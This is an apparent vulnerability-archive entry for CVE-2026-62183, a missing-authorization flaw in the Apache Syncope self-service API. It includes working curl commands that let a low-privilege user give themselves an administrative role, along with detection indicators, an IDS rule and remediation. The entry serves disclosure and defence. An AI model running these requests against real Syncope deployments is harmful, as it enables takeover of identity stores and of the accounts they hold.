Apache Syncope User Self-Service Privilege Escalation (CVE-2026-62183)
Published: 2026-11-27 • Researcher: Nic Jones (GitHub: NicPWNs); credited finders per the CVE record are Nic Jones and elin kai; archived and reviewed 2026-11-27
- Severity
- Critical
- CVE
- CVE-2026-62183 / CWE-269 (Improper Privilege Management; mechanism CWE-862 Missing Authorization) / Apache Syncope security advisory, fixed by SYNCOPE-1983
- Category
- web
- Affected product
- Apache Syncope identity and access management server (Core REST API, user self-service workflow)
- Affected versions
- 3.0.0-M0 through 3.0.16; 4.0.0-M0 through 4.0.6; 4.1.0-M0 through 4.1.1. Fixed in 4.0.7 and 4.1.2; the 3.0.x branch is end of life and receives no fix
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-62183
- https://www.cve.org/CVERecord?id=CVE-2026-62183
- https://lists.apache.org/thread/6r8cngvy43y2yk4jj3w060dt8vx0yzpr
- http://www.openwall.com/lists/oss-security/2026/07/20/9
- https://syncope.apache.org/security
- https://github.com/apache/syncope/commit/4367f4345cb298eb0b327f037ca0807b5b84ac76
- https://nicpjones.com/notes/apache-syncope-privilege-escalation-cve-2026-62183
- https://github.com/NicPWNs/CVE-2026-62183
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-20 (upstream commit 6f7457b, “Link the blog write-up”; repository last pushed 2026-07-21T00:04:25Z) |
| Author / Researcher | Nic Jones (GitHub: NicPWNs); credited finders per the CVE record are Nic Jones and elin kai; archived and reviewed 2026-11-27 |
| CVE / Advisory | CVE-2026-62183 / CWE-269 (Improper Privilege Management; mechanism CWE-862 Missing Authorization) / Apache Syncope security advisory, fixed by SYNCOPE-1983 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per the NVD/batch record; the upstream README quotes the vendor assessment as Important, CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Status | PoC — runtime-confirmed minimal proof using documented REST API calls; the upstream author explicitly does not present it as a weaponized exploit |
| Tags | apache, syncope, identity-management, privilege-escalation, cwe-269, cwe-862, rest-api, self-service, authorization-bypass, java |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Syncope identity and access management server (Core REST API, user self-service workflow) |
| Versions Affected | 3.0.0-M0 through 3.0.16; 4.0.0-M0 through 4.0.6; 4.1.0-M0 through 4.1.1. Fixed in 4.0.7 and 4.1.2; the 3.0.x branch is end of life and receives no fix |
| Language / Platform | Java (Spring) server; the PoC is POSIX shell with curl against the REST interface |
| Authentication Required | Yes, but any low-privilege authenticated user; no roles are needed. Where self-registration is enabled with a workflow that does not require admin approval, the same gap is reachable unauthenticated |
| Network Access Required | Yes — the Core REST API must be reachable by the user |
Summary
Apache Syncope’s user self-service update endpoint authorizes any authenticated caller and then skips the realm-scoped authorization check because the operation is marked as a self update. The data binder still applies privileged request fields such as roles, memberships, resources and realm, so a low-privilege user can add an existing administrative role to their own account. On the next request the account carries that role’s entitlements and can read or modify other accounts. With self-registration enabled the same gap lets an unauthenticated attacker create an already privileged account.
Vulnerability Details
Root Cause
The self-service update endpoint PATCH /users/self/{key} is implemented by UserSelfService.update(UserUR) and guarded only by:
| |
No entitlement such as USER_UPDATE and no realm scope is required. AbstractUserLogic.doUpdate then skips the authorization block entirely when self is true:
| |
The binder (UserDataBinderImpl.update) nevertheless applies role ADD/DELETE operations, memberships(...) (groups), fill(...) (resources) and the realm field straight from the request. Those fields are meant to be protected by the check that the logic layer just skipped. The admin path (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) does run the check, so only the self path is affected. AuthDataAccessor.getUserAuthorities(user) unions the entitlements of every role returned by userDAO.findAllRoles(user), which is why the self-assigned role becomes effective on the user’s next request or login. The same if (!self) skip exists in doCreate, extending the flaw to self-registration.
Attack Vector
A low-privilege user calls the Core REST API directly with PATCH /users/self/{own-key}, a UserUR body and the required X-Syncope-Domain header. The body adds an existing privileged role with an ADD_REPLACE operation on roles; the same shape also accepts memberships, resources and realm. The endpoint accepts the request because it only checks that someone is authenticated, and the assigned role takes effect immediately on subsequent authorization decisions. Where self-registration is enabled and the configured workflow does not require admin approval, the equivalent doCreate path can be used to register a privileged account without any prior authentication.
Impact
The attacker gains the entitlements of any role defined on the deployment, including roles that grant USER_READ, USER_UPDATE, USER_DELETE or realm administration. That is takeover of the identity store: reading and modifying other users, deleting accounts, and triggering provisioning to connected external systems through resources or memberships. The exact reachable operations depend on the roles present in the target deployment; the upstream PoC demonstrates the escalation with the built-in User manager role, which is enough to read an arbitrary account that was previously forbidden.
Environment / Lab Setup
OS: Any host able to run the Apache Syncope standalone distribution (upstream used Windows with PowerShell)
Target: Apache Syncope 3.0.16 standalone distribution: Tomcat 9.0.115 + H2 + all WARs
Attacker: A plain authenticated user created by the administrator (no roles)
Tools: curl, python (used by poc.sh to parse the created user key), JDK 17Setup Steps
| |
The upstream BUILD.md (copied as BUILD.md) documents the same setup without Docker or Maven and records the seed data that the PoC depends on: the user bellini and the built-in roles User manager and User reviewer. That seed data is part of Apache’s evaluation distribution and is not present in a general deployment.
The script creates its own low-privilege user (as the admin), then performs the baseline, escalation and post-escalation requests. Change B for a different address; the admin password is the standalone default.
Proof of Concept
Step-by-Step Reproduction
Create a plain user as the administrator. The script does this with a
POST /usersrequest and reads back the entity key. The user has no roles.Shell script1 2 3curl -s -u admin:password -H 'X-Syncope-Domain:Master' \ -H 'Content-Type:application/json' -X POST "$B/users" \ -d '{"_class":"org.apache.syncope.common.lib.request.UserCR","realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},{"schema":"userId","values":["e2@apache.org"]}]}'Confirm the baseline. As the new user, reading the seeded account
belliniis forbidden.Shell script1 2curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \ -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403Escalate with a self update. Add the existing privileged role to the caller’s own account.
Shell script1 2 3 4 5curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \ -H 'Accept:application/json' -H 'Content-Type:application/json' \ -X PATCH "$B/users/self/$K2" \ -d '{"_class":"org.apache.syncope.common.lib.request.UserUR","key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \ -w '%{http_code}\n' # -> 200Confirm the escalation. The same account can now read another user.
Shell script1 2curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \ -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200Clean up the lab instance after the test; the standalone distribution stores state in its H2 database, so recreate it for a fresh run if needed.
Exploit Code
See
poc.shin this folder for the complete script, andBUILD.mdfor the runtime setup. The PoC uses only documented API calls and does not exploit a memory-safety bug.
| |
Expected Output
Upstream reports the following runtime result against Syncope 3.0.16; the output below is quoted from the upstream README and was not re-produced during this review.
| |
The 403 to 200 transition on the same read request is the proof: the only change is the role that the user assigned to themselves. On a patched 4.0.7 or 4.1.2 instance the self update touching roles is routed through admin approval (requiresApproval() becomes true for roles, memberships, resources, relationships and related fields) instead of being applied directly.
Detection & Indicators of Compromise
PATCH requests to /syncope/rest/users/self/ with a UserUR body containing
"roles", "memberships", "resources", "auxClasses", "relationships" or "realm"
Self-service requests that add ADD_REPLACE operations on privileged role names
Role assignments recorded in the audit log that were not performed by an administrator
A user who gains entitlements that their previous requests were denied
POST or PATCH to the Core REST API from clients that normally only use the Enduser UI
X-Syncope-Domain headers for a domain other than the default from unexpected clients
Unexpected rows in the Syncope role/membership tables for recently created users
Provisioning traffic to external systems triggered by a user who never had a roleSIEM / IDS Rule (example):
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"CVE-2026-62183 Apache Syncope self-service role escalation attempt"; flow:to_server,established; http_method; content:"PATCH"; http_uri; content:"/users/self/"; http_client_body; content:"ADD_REPLACE"; content:"roles"; classtype:web-application-attack; sid:90621830; rev:1;)This rule is intentionally narrow (self path plus role ADD_REPLACE). Broaden it to memberships, resources and realm for full coverage, and baseline it against legitimate administrative workflows to avoid noise.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Apache Syncope 4.0.7 or 4.1.2 (the fix for SYNCOPE-1983). The 3.0.x branch is end of life; move off it. |
| Workaround | Do not expose the Core REST API to low-privilege users; drive self-service through the Enduser UI, which does not offer role assignment. Where self-registration is enabled, require administrator approval in the workflow definition. |
| Config Hardening | Review every role defined on the deployment for entitlements that should not be reachable through self-service, monitor role/membership changes for self-originated requests, and rotate credentials of any account suspected of self-escalation. |
References
- CVE-2026-62183 — NVD
- CVE-2026-62183 — CVE.org record
- Apache Syncope advisory thread (lists.apache.org)
- oss-security posting, 2026-07-20
- Apache Syncope security advisories
- Fix commit for SYNCOPE-1983
- Author write-up — Self-Service to Admin: A Privilege Escalation in Apache Syncope
- PoC repository — NicPWNs/CVE-2026-62183
Notes
Review verdict: ingested as a PoC. The repository is a genuine, runtime-confirmed demonstration of the authorization gap: poc.sh creates a role-less user, shows the 403 baseline, performs the self-service PATCH that adds User manager, and shows the same request returning 200. It is not a scanner, checker, template or README-only write-up, and it uses only documented API calls rather than memory corruption or a payload.
License and provenance: the upstream repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted; the material is archived for reference under the usual research-use caveat. Only a short research-use header was added to poc.sh. The upstream README is copied verbatim as upstream-README.md, and the upstream runtime notes as BUILD.md. The upstream commit is 6f7457b.
Limitations: the PoC targets Apache’s standalone evaluation distribution and relies on its seed data (the user bellini and the built-in User manager role), which is not present in a general deployment. It requires the low-privilege user to be able to call the Core REST API, which the upstream README acknowledges is not the normal Enduser UI path. The role names and the reached entitlements are deployment-specific, and the self-registration variant is described but not scripted. The CVSS score in the batch/NVD record is 9.8, while the upstream README quotes the vendor’s Important assessment at 8.8 with PR:L; the difference reflects whether the self-registration variant is assumed. The reported 403/200/200 sequence is the upstream author’s live result and was not re-executed during this review.
Malware assessment: no C2, persistence, evasion, keylogger, miner, stealer or bot code is present. The script only performs the application-specific privilege escalation and reads one other account; it does not bundle credentials beyond the documented standalone defaults (admin/password), which the operator must supply or change.
| |